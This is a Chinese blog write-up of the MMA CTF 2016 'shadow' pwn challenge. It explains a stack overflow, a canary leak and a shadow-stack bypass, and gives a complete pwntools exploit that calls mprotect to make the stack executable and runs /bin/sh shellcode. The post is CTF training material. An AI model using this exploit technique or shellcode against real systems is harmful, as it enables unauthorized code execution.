[BMZCTF-pwn] 32-mma-ctf-2nd-2016 shadow

影子栈 shadow stack

刚开始没注意到,因为程序看上去很难算懂,每个调用都用call实现,先大概找到流程。

int __cdecl message(int a1, int a2, int a3)
{
  unsigned int j; // eax
  const char *v5; // [esp+4h] [ebp-54h]
  int v6; // [esp+8h] [ebp-50h]
  char *v9; // [esp+14h] [ebp-44h]
  int i; // [esp+24h] [ebp-34h]
  char v11[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  unsigned int v12; // [esp+4Ch] [ebp-Ch]

  v12 = __readgsdword(0x14u);
  for ( i = 0; i < a3; ++i )
  {
    for ( j = 0; j < 0x20; j += 4 )
      *(_DWORD *)&v11[j] = 0;
    if ( call((int (__cdecl *)(void *))strlen) )
    {
      call((int (__cdecl *)(void *))printf);    // 1
      call((int (__cdecl *)(void *))getnline);
    }
    if ( !call((int (__cdecl *)(void *))strlen) || v11[0] == 121 )
    {
      call((int (__cdecl *)(void *))printf);    // input name
      call((int (__cdecl *)(void *))getnline);  // name xxxx
    }
    call((int (__cdecl *)(void *))printf);
    call((int (__cdecl *)(void *))getnline);
    call((int (__cdecl *)(void *))atoi);
    call((int (__cdecl *)(void *))printf);
    call((int (__cdecl *)(void *))getnline);
    v9 = v11;
    v6 = i + 1;
    v5 = "(%d/%d) <%s> %s\n\n";
    call((int (__cdecl *)(void *))printf);      // 输出
  }
  return ((int (__cdecl *)(_DWORD, const char *, int, int, int, char *))ret)(0, v5, v6, a3, a1, v9);
}

确定了哪步是干啥的,程序大概就能看明白了。先是判断是否读入然后读入name,然后read不限长度读入msg,判断退出。其中name指针在msg前边覆盖不到,向后可以覆盖到:

canary,ebp,ret,name_ptr,name_size,循环最大值等。

所以这前边就比较简单,一开始给3次,这3次没完成前不返回上一级函数,所以栈被破坏不会报错。可以先获得canary,ebp,libc 。

但后边发现有个问题,这里使用了shadow stack在函数返回里会调用影子栈实现,所以不能直接使用rop 。

网上搜到一个exp一看恍然大悟。他用了个更简单的方法:

        在调用read函数返回时并这里并没有设置保护(只有在main和message里程序作了设置,内部调用没有保护),所以通过修改name修改read的返回地址,在这里通过mprotect设置栈可执行(rwx)然后在返回时跳到shellcode执行。

from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
else:
    p = remote('www.bmzclub.cn', 21355) 
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='i386')

'''
0016| 0xffffd068 --> 0xffffd0d0 ("AAAABBBB")     #ptr->name
0020| 0xffffd06c --> 0xffffd084 ("XXXXXXXX")     #ptr->msg
0044| 0xffffd084 ("XXXXXXXX")                    #msg
0076| 0xffffd0a4 --> 0x173c9e00                  #canary
0080| 0xffffd0a8 --> 0x0 
0084| 0xffffd0ac --> 0xf7fce000 --> 0x1afdb0 
0088| 0xffffd0b0 --> 0xffffd11c --> 0xffffd148 --> 0x0    #ebp
0092| 0xffffd0b4 --> 0x8048d1b --> 0x8908ec83    #ret
0096| 0xffffd0b8 --> 0xffffd0d0 ("AAAABBBB")     #ptr->name
0100| 0xffffd0bc --> 0x10                        #name.len
0104| 0xffffd0c0 --> 0x3                         #max times
0120| 0xffffd0d0 ("AAAABBBB")                    #name
0244| 0xffffd14c --> 0xf7e36637 (<__libc_start_main+247>)  #libc_start_main_ret
'''
context.log_level='debug'

p.sendafter(b'Input name : ', b'A'*16)

#get stack
padding = b'x'*0x34
p.sendafter(b'Message length : ', b'-1')
p.sendafter(b'Input message : ', padding)
p.recvuntil(padding)
ptr_name = u32(p.recv(4))
ebp = ptr_name + 0x4c
print('name:', hex(ptr_name))
p.sendafter(b'Change name? (y/n) : ', b'n')

#https://github.com/ispoleet/ctf-writeups/blob/master/mma_ctf_2016/shadow/shadow_expl.py
#bypass shadow

p.sendafter(b'Message length : ', b'-1')
p.sendafter(b'Input message : ', b'A'*0x20 + b'cana' +flat(0,0,ebp,0x8048d1b,ebp- 0x100,100,100))

#read.ret  mprotect(ebp&0xfffff000, 7) set stack rwx 
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
p.sendafter(b'Input name : ', flat(elf.plt['mprotect'], ebp-0x100+0x30, ebp & 0xfffff000, 0x1000, 7)+ b'\x90'*0x20+shellcode)

p.sendline(b'cat /flag')
p.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值